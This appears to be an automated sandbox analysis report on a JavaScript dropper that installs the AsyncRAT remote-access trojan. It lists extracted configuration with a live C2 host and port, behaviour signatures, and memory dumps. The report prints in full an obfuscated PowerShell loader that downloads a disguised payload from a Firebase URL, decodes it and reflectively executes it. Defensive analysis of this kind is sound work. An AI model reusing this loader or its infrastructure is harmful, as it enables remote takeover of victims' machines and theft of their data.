Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
13/08/2026, 03:17
General
- Target 19a1b138c6372383d3e0644397ea75c8494a225c3532afaf96d90341ae1e76e4.js
- Size 414KB
- Sample260813-dtdnlayycs
- SHA256 19a1b138c6372383d3e0644397ea75c8494a225c3532afaf96d90341ae1e76e4
Malware Config
Extracted
-
ps1
-
exe.dropper
https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fbokit.png?alt=media&token=2fa08beb-68f9-49cd-b5dd-3e2ff1ef0ff4
Extracted
-
asyncrat
-
1.0.7
-
BOCAAAAAAAAAAAAAAAAA
-
acwwcw543.1cooldns.com:4242
-
acwcwvwvwa454646463242sdsd
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\19a1b138c6372383d3e0644397ea75c8494a225c3532afaf96d90341ae1e76e4.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$lickerishly=''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fbokit.png?alt=media&token=2fa08beb-68f9-49cd-b5dd-3e2ff1ef0ff4''; $compossibility = [System.Net.HttpWebRequest]::Create($lickerishly); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''UnwP/EOeQrzIm7QAhlUQxjcfsKQa9IdhIbmvyJonVKWpVW2ft0DeVqb+dgnGWeo/nixBtLEBe2mP43AoTsclFlX7sfC+BtjNN8u8r1tkOHI+dz5te+WKGmR7t5SW1igJSmPExoPNqpAcWp95k5sTBYPFJh7eQ+NsntDBjuScS+Kn2dAsD/DjL/3Z9DxgN/ZNOutF6U6CRv0P/SOTo/BKHBhDuOvVWowMkbSqZWZtK2I='','''',''FCYIOSAizEsAYg3cl1fzPz72/FvrspA711Xm29lV6TXE2zgt0iDpLX4lUmJIKYgj'',''/FKnfbZP/Ka9UM5D7S0qjNzxurvOQytz8AIq83QV4RM='',''iatwokjMQwkvIpkcp6jlRDFRgXrIRuQIKCmliFqpzGw='','''',''9zBeUsngMnUztOLGRfMFB1QJEGGpXkOqCoUZ/Z6ttvg='','''','''',''bd16nkF2no3P2nWP1+UTUo/w2o/c7vWFqj/NuSa1rjiNrrFQ1iUgaYCylwRlp1Dv'',''U4NYeIq4HmZtH4CVqAKU+1hjkdSbX9veQOAqnPPP67g='',''WjFWcKpeNUwPAemnzX814Bi/44G4yn0ObRsn87YEDvU='',''dQ3p2Wx7+YO6N1izv40co6GjJ0jFr6dA0paom/sBQmo='','''',''vROdbvUE8DEZcoyZuIu3BCDgQwoncnVwOkTaxwQkFCE='',''HDzJ5Af6OzQg1nA4vUybKGX51xlKpCY3bnsBumSJUD0='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2532-16-0x0000000000400000-0x0000000000412000-memory.dmp
memory/2532-22-0x0000000005AC0000-0x0000000005B26000-memory.dmp
memory/2532-21-0x0000000006010000-0x00000000065CA000-memory.dmp
memory/2532-20-0x00000000059B0000-0x0000000005A4C000-memory.dmp
memory/2532-18-0x0000000074E22000-0x0000000074E23000-memory.dmp
memory/2596-5-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-14-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-9-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-10-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-11-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-12-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-13-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-8-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-15-0x000001E63FA20000-0x000001E63FA80000-memory.dmp
memory/2596-0-0x00007FF916AFF000-0x00007FF916B00000-memory.dmp
memory/2596-4-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-19-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-3-0x000001E63F970000-0x000001E63F992000-memory.dmp
memory/2596-2-0x00007FF916970000-0x00007FF917314000-memory.dmp
memory/2596-1-0x00007FF916970000-0x00007FF917314000-memory.dmp